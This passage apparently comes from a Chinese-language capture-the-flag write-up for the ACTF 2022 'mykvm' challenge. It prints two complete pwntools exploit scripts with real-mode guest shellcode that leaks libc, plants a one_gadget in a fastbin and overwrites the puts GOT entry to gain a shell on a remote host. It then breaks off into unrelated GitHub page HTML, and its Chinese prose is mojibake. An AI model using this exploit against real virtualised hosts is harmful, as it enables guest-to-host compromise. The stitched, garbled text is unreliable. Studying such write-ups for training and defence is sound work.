// write one_gadget to fastbin(0x20) + 8 mov eax, [esp] add eax, 0x27e8 mov ebx, eax shr eax, 16 shl eax, 12 mov ds, eax mov ds:[bx], edx add bx, 4 mov ds:[bx], ecx // write puts got - 8 to dest mov ebx, 0 mov ds, ebx mov ebx, 0x602020 mov ds:[0x7100], ebx hlt''')
while 1: io.sendlineafter(b"size:",str(len(shellcode))) io.sendafter(b"code:",shellcode) io.sendlineafter(b"name:",b'b'*20) io.sendlineafter(b"passwd:",b'a'*20) io.recvline() a = io.recv(0x1b) if b"mykvm" not in a: print("[+] yes!!!") io.send(b"\n") break io.close() io = remote("20.247.110.192",10888)
io.interactive()```
16äœç宿š¡åŒçshellcodeè¿æ¯æäžäºéèŠæ³šæçïŒ
- [3.1 宿š¡åŒ](https://cch123.gitbooks.io/duplicate/content/part1/legacy/real-mode.html)- [GCCæ±çŒæºç äžç.reptå
³é®å](https://blog.csdn.net/waverider2012/article/details/8524175)- [How to tell GCC to generate 16-bit code for real mode](https://stackoverflow.com/questions/19055647/how-to-tell-gcc-to-generate-16-bit-code-for-real-mode)- [Linux æ¡é¢ç©å®¶æåïŒ08. äœ¿çš GCC å GNU Binutils çŒåèœåš x86 宿š¡åŒè¿è¡ç 16 äœä»£ç ](https://www.cnblogs.com/youxia/p/LinuxDesktop008.html)- [x86æ±çŒæä»€è¯Šè§£](https://blog.csdn.net/swartz_lubel/article/details/77919067)- [æ±çŒè¯èšæ¡ä»¶è·³èœ¬æä»€æ±æ»](http://c.biancheng.net/view/3567.html)
æåçflagå¯ä»¥çåºïŒåºé¢äººåºåœæ¯æ³è®©æä»¬åäžæ®µå®æš¡åŒè¿å
¥ä¿æ€æš¡åŒçæ±çŒä¹åïŒåçš³å®ç宿å©çšïŒ
```cACTF{Y0u_c4n_D0_m0r3_th1nGs_Wh3n_sw1Tch_Real_m0d3_t0_pr0t3ct_M0de!}```
## æ»ç»
å
¶ä»WPïŒ
- 宿¹WPïŒ[https://github.com/team-s2/ACTF-2022/blob/main/pwn/mykvm/exploits/exp.py](https://github.com/team-s2/ACTF-2022/blob/main/pwn/mykvm/exploits/exp.py)- 圱äºã€çå客ïŒ[ACTF Pwn Writeup](https://kagehutatsu.com/?p=696)
éè¿æ¬é¢ïŒå¯ä»¥æçœkvmå
·äœåçšäºïŒ
- çšæ·çšåºå¯ä»¥äœ¿çšioctläžkvm亀äºïŒå°èææºä»£ç åšæ¬è¿çšäžå
åå°å讟眮ç»kvm- kvmåšè¿è¡æ¶ïŒå®¿äž»è¿çšè°çšioctläŒé»å¡ïŒè¿è¡åæºæåŒåžžæ¶äŒé»å¡è¿å- åškvm忢è¿è¡æ¶ïŒçšæ·çšåºå¯ä»¥äœ¿çšioctläžkvm亀äºïŒè·åŸæè
讟眮kvmäžçå¯ååš
æä»¥kvmç¡®å®æ¯äžäžªå
·äœçèææºèœ¯ä»¶ïŒçšæ·æçšåºåªéèŠäœ¿çšopenåioctlïŒææ§/dev/kvmè®Ÿå€æä»¶ïŒå³å¯è¿è¡guest代ç ïŒäžè¿åªæCPUåå
åå¯ä»¥æš¡æãæ¯èµæ¶çexpæ¯èŸä¹±å¥ïŒpython2çïŒäœä¹çå®çè®°åœäžäžïŒ
```pythonfrom pwn import *context(log_level='debug',arch='i386')
#io = remote("127.0.0.1",8000)io = remote("20.247.110.192",10888)
sla = lambda delim,data :io.sendlineafter(delim, data) sa = lambda delim,data :io.sendafter(delim, data)
# 0x1b68 libc pianyi base# 0x3c4b78 main arean # 0xf1247 gadget # top chunks
shellcode = asm('''.code16gccjmp main
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
main:
mov eax,0x7100 # destmov ebx,[eax]sub ebx,0x603000push ebx # push stack: heap start addr (virt)
cmp ebx,0xe2fffjc nextmov ebx,0div eax,ebx # bug
next:
mov edx, 0xdeadbeef
pop eax # get one gadget push eax add eax, 0x1b48 mov ebx,eax shr eax,16 shl eax,12 mov ds,eax mov edx, dword ptr ds:[bx] add bx, 4 mov ecx, dword ptr ds:[bx] sub edx, 0x3c51a8 add edx, 0xf1247 # get one gadget over
pop eax # write fastbin push eax add eax,0x27e8 mov ebx,eax shr eax,16 shl eax,12 mov ds,eax mov ds:[bx],edx
add bx,4 mov ds:[bx],ecx
mov eax,0x602020 # puts got - 1; write dest mov ebx,0 mov ds,ebx mov ds:[0x7100],eax # dest in virt
mov eax,0x602020 # puts got - 1 mov ebx,0 mov ds,ebx mov ds:[0x7100],eax # dest in virt
hlt''')
c = 1
while c: try: sla("code size:",str(len(shellcode))) sa("your code:",shellcode) sla("guest name: ",'b'*20) sla("guest passwd: ",'a'*20)
io.recvline() a = io.recv(0x1b) if "mykvm" not in a: c = 0 print("[+] yes!!!") raw_input() io.sendline("") #sla("host name: ",'') except: io.close() io = remote("20.247.110.192",10888) #io = remote("127.0.0.1",8000)
io.interactive()``` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF/2022/WeCTF/File.io at main · NGA99/CTF · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="EB8F:380B:4158532:42CDBA2:64121B06" data-pjax-transient="true"/><meta name="html-safe-nonce" content="c0f2c098a1b422dc4d0e4001e76dae276f9cde8e33d8967a35bc1b4953d2edfd" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQjhGOjM4MEI6NDE1ODUzMjo0MkNEQkEyOjY0MTIxQjA2IiwidmlzaXRvcl9pZCI6Ijc5NTM4MDk1OTAyMTg1Mjk1NDIiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="d2336e8cffa52fc0e048dd7c132cbb7284bcb3e9fb570cf3a30e4b013d4bf6fc" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:389483395" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to NGA99/CTF development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/53c94e567b7b1efda821c246bfb99e325a069b5046631ea72ca3ecf5b94b8521/NGA99/CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF/2022/WeCTF/File.io at main · NGA99/CTF" /><meta name="twitter:description" content="Contribute to NGA99/CTF development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/53c94e567b7b1efda821c246bfb99e325a069b5046631ea72ca3ecf5b94b8521/NGA99/CTF" /><meta property="og:image:alt" content="Contribute to NGA99/CTF development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF/2022/WeCTF/File.io at main · NGA99/CTF" /><meta property="og:url" content="https://github.com/NGA99/CTF" /><meta property="og:description" content="Contribute to NGA99/CTF development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/NGA99/CTF git https://github.com/NGA99/CTF.git">
<meta name="octolytics-dimension-user_id" content="87957271" /><meta name="octolytics-dimension-user_login" content="NGA99" /><meta name="octolytics-dimension-repository_id" content="389483395" /><meta name="octolytics-dimension-repository_nwo" content="NGA99/CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="389483395" /><meta name="octolytics-dimension-repository_network_root_nwo" content="NGA99/CTF" />
<link rel="canonical" href="https://github.com/NGA99/CTF/tree/main/2022/WeCTF/File.io" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
